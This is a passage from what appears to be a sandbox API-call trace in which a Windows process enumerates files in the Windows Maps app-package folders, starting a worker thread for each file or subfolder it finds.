	[0090.104] wcscpy (in: _Dest=0x50277c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.104] wcscat (in: _Dest=0x50277c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0090.104] wcscat (in: _Dest=0x50277c8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0090.104] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d2e8
	[0090.104] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_2017.209.105.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfd4ea481, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfd4ea481, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd4ea481, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a768
	[0090.105] wcscmp (_String1=".", _String2=".") returned 0
	[0090.105] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfd4ea481, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfd4ea481, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd4ea481, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.105] wcscmp (_String1="..", _String2=".") returned 1
	[0090.105] wcscmp (_String1="..", _String2="..") returned 0
	[0090.105] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfd4ea481, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfd4ea481, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd4ea481, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.105] FindClose (in: hFindFile=0x477a768 | out: hFindFile=0x477a768) returned 1
	[0090.105] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d2e8) returned 1
	[0090.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50277c8) returned 1
	[0090.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0090.106] FindNextFileW (in: hFindFile=0x46a7898, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfd4ea481, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfd4ea481, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd4ea481, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0090.106] FindClose (in: hFindFile=0x46a7898 | out: hFindFile=0x46a7898) returned 1
	[0090.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502bfa8) returned 1
	[0090.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c86e0) returned 1
	[0090.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769ea8) returned 1

Thread:
	id = 1040
	os_tid = 0x1cb0

	[0082.690] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x47745f0
	[0082.690] wcscpy (in: _Dest=0x47745f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.690] wcscat (in: _Dest=0x47745f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.690] wcscat (in: _Dest=0x47745f0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0082.690] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c210
	[0082.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d01521b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xfd5106b5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd5106b5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a78d8
	[0082.691] wcscmp (_String1=".", _String2=".") returned 0
	[0082.691] FindNextFileW (in: hFindFile=0x46a78d8, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d01521b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xfd5106b5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd5106b5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.691] wcscmp (_String1="..", _String2=".") returned 1
	[0082.691] wcscmp (_String1="..", _String2="..") returned 0
	[0082.691] FindNextFileW (in: hFindFile=0x46a78d8, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0d3de3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8d0d3de3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8d0d3de3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x9143, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.691] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.691] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4766b10
	[0082.691] wcscpy (in: _Dest=0x4766b10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0082.691] wcscat (in: _Dest=0x4766b10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0082.691] wcscat (in: _Dest=0x4766b10, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.091] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4766b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x163c
	[0090.092] FindNextFileW (in: hFindFile=0x46a78d8, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d01521b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8d01521b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8d01521b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x347, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.092] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.092] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.092] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4777a60
	[0090.092] wcscpy (in: _Dest=0x4777a60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.092] wcscat (in: _Dest=0x4777a60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.092] wcscat (in: _Dest=0x4777a60, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.092] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4777a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x226c
	[0090.093] FindNextFileW (in: hFindFile=0x46a78d8, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0d3de3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8d0fa03c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8d0fa03c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.093] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.093] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.093] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4778560
	[0090.093] wcscpy (in: _Dest=0x4778560, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.093] wcscat (in: _Dest=0x4778560, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.093] wcscat (in: _Dest=0x4778560, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.093] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4778560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2270
	[0090.094] FindNextFileW (in: hFindFile=0x46a78d8, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d0fa03c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb253d3a4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8d25784d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.094] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.094] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.094] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x47230b8
	[0090.094] wcscpy (in: _Dest=0x47230b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.094] wcscat (in: _Dest=0x47230b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.094] wcscat (in: _Dest=0x47230b8, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47230b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2274
	[0090.094] FindNextFileW (in: hFindFile=0x46a78d8, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfd5106b5, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfd5106b5, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd5106b5, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.094] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.094] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.094] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x114) returned 0x4772080
	[0090.095] wcscpy (in: _Dest=0x4772080, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.095] wcscat (in: _Dest=0x4772080, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.095] wcscat (in: _Dest=0x4772080, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4772080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2278
	[0090.095] FindNextFileW (in: hFindFile=0x46a78d8, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d77fc3b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8d77fc3b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8d77fc3b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x48a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0090.095] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0090.095] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0090.095] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491c5c8
	[0090.095] wcscpy (in: _Dest=0x491c5c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0090.095] wcscat (in: _Dest=0x491c5c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0090.095] wcscat (in: _Dest=0x491c5c8, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"
	[0090.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491c5c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x227c
	[0090.096] FindNextFileW (in: hFindFile=0x46a78d8, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d77fc3b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8d77fc3b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8d77fc3b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x48a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0090.096] FindClose (in: hFindFile=0x46a78d8 | out: hFindFile=0x46a78d8) returned 1
	[0090.096] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502c210) returned 1
	[0090.096] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47745f0) returned 1
	[0090.096] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12248) returned 1

Thread:
	id = 1041
	os_tid = 0x1cb4

	[0082.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481bac0
	[0082.691] wcscpy (in: _Dest=0x481bac0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0082.692] wcscat (in: _Dest=0x481bac0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0082.692] wcscat (in: _Dest=0x481bac0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\*"
	[0082.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c478
	[0082.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b07346e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xfd4ea481, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd4ea481, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7918
	[0082.693] wcscmp (_String1=".", _String2=".") returned 0
	[0082.693] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b07346e, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xfd4ea481, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xfd4ea481, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.693] wcscmp (_String1="..", _String2=".") returned 1
	[0082.693] wcscmp (_String1="..", _String2="..") returned 0
	[0082.693] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0e5b7f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb2ced312, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b0e5b7f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCore", cAlternateFileName="")) returned 1
	[0082.693] wcscmp (_String1="AppCore", _String2=".") returned 1
	[0082.693] wcscmp (_String1="AppCore", _String2="..") returned 1
	[0082.693] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476f8d0
	[0082.693] wcscpy (in: _Dest=0x476f8d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe"
	[0082.693] wcscat (in: _Dest=0x476f8d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\"
	[0082.693] wcscat (in: _Dest=0x476f8d0, _Source="AppCore" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\AppCore") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\\AppCore"
	[0090.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476f8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1640
	[0090.076] FindNextFileW (in: hFindFile=0x46a7918, lpFindFileData=0x502c478 | out: lpFindFileData=0x502c478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0996cc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8b0bf925, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8b0bf925, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x159e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0090.076] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0090.076] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0090.076] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477c380
